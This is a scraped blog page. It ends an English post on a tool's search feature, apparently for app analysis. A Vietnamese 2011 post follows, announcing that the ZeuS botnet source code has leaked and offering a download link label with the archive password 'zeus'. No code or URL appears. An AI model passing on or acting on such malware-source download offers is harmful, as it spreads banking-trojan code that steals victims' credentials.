Clicking on “Tools” -> “Search” on the main window bar will bring up the search interface. Type in the desired search string in the search box, results should dynamically update. Results can be refined by type, member, string/constant, or exact match by the little icons to the right of the search bar.
That’s all I have this time – I’ll talk about exploring Isolated Storage, interop DLLs, analyzing network traffic, and other points of interest in the next post.
Thứ Tư, 13 tháng 4, 2011
0
Mã nguồn đầy đủ của ZeuS botnet đã bị lộ
Cuối cùng thì bộ mã nguồn của ZeuS đã bị lộ. Đây là một thông tin cực kỳ nóng quan trọng trong giới bảo mật nói chung và virus nói riêng. Nhiều khả năng, trong những tháng cuối năm 2011 này, sẽ xuất hiện những dòng virus mới tương tự như ZeuS.
Download link: Zeus Source Code
Password: zeus
Đăng ký:
Nhận xét (Atom)





